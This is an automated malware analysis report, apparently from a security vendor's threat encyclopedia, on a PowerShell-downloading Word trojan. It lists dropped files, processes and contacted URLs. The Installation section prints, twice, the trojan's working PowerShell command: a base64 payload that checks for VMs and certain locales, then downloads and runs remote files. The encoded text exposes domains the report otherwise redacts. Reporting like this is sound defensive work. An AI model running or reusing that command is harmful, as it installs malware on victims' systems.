Trojan.W97M.POWLOAD.TIOIBEGP

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following copies of itself into the affected system:

• {malware path and file name}.dat

It adds the following processes:

• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'O2lmKCgoR2V0LVVJQ3VsdHVyZSkuTmFtZSAtbWF0Y2ggIkNOfFJPfFJVfFVBfEJZIikgLW9yICgoR2V0LVdtaU9iamVjdCAtY2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW0gLVByb3BlcnR5IE1vZGVsKS5Nb2RlbCAtbWF0Y2ggIlZpcnR1YWxCb3h8Vk13YXJlfEtWTXxIVk0iKSl7ZXhpdDt9OyRhPUpvaW4tUGF0aCAkZW52OlB1YmxpYyAiXExpYnJhcmllc1xXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLmpzIjskYj1Kb2luLVBhdGggJGVudjp0ZW1wICJTZWxmU2VydmNlLmV4ZSI7dHJ5eyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovL2dvb2cuYmFsYW5jZWRiZWFucy5jYS9sYXN0dXBkYXRlLnppcD9nYXp2ZGciLCRiKTsgU3RhcnQtUHJvY2VzcyAkYjt9Y2F0Y2h7fTs7dHJ5eyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8veW91LmN5cHJlc3NzdGFrZXlvdXRoLmNvbS8/cGFnZT1yaW5nJnZpZD1waXQ5Jmh3Z2RhZHZoIil8b3V0LWZpbGUgJGE7U3RhcnQtUHJvY2VzcyAkYTt9Y2F0Y2h7fTs=' ) );iex $a;
• powershell $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'O2lmKCgoR2V0LVVJQ3VsdHVyZSkuTmFtZSAtbWF0Y2ggIkNOfFJPfFJVfFVBfEJZIikgLW9yICgoR2V0LVdtaU9iamVjdCAtY2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW0gLVByb3BlcnR5IE1vZGVsKS5Nb2RlbCAtbWF0Y2ggIlZpcnR1YWxCb3h8Vk13YXJlfEtWTXxIVk0iKSl7ZXhpdDt9OyRhPUpvaW4tUGF0aCAkZW52OlB1YmxpYyAiXExpYnJhcmllc1xXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLmpzIjskYj1Kb2luLVBhdGggJGVudjp0ZW1wICJTZWxmU2VydmNlLmV4ZSI7dHJ5eyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovL2dvb2cuYmFsYW5jZWRiZWFucy5jYS9sYXN0dXBkYXRlLnppcD9nYXp2ZGciLCRiKTsgU3RhcnQtUHJvY2VzcyAkYjt9Y2F0Y2h7fTs7dHJ5eyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8veW91LmN5cHJlc3NzdGFrZXlvdXRoLmNvbS8/cGFnZT1yaW5nJnZpZD1waXQ5Jmh3Z2RhZHZoIil8b3V0LWZpbGUgJGE7U3RhcnQtUHJvY2VzcyAkYTt9Y2F0Y2h7fTs=' ) );iex $a;
• "%System%\WScript.exe" "%System Root%\Users\Public\Libraries\WindowsIndexingService.js"
• %System Root%\Users\Public\Libraries\WindowsIndexingService.js

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other System Modifications

This Trojan modifies the following file(s):

• %Application Data%\Microsoft\Office\Word12.pip

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Dropping Routine

This Trojan drops the following files:

• %Application Data%\Microsoft\Office\Word12.pip
• %User Temp%\SelfServce.exe
• %System Root%\Users\Public\Libraries\WindowsIndexingService.js
• %Application Data%\Microsoft\UProof\CUSTOM.DIC

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

• http://goog.{BLOCKED}edbeans.ca/lastupdate.zip?gazvdg
• http://you.{BLOCKED}sstakeyouth.com/?page=ring&vid=pit9&hwgdadvh
• {BLOCKED}101.172

This report is generated via an automated analysis system.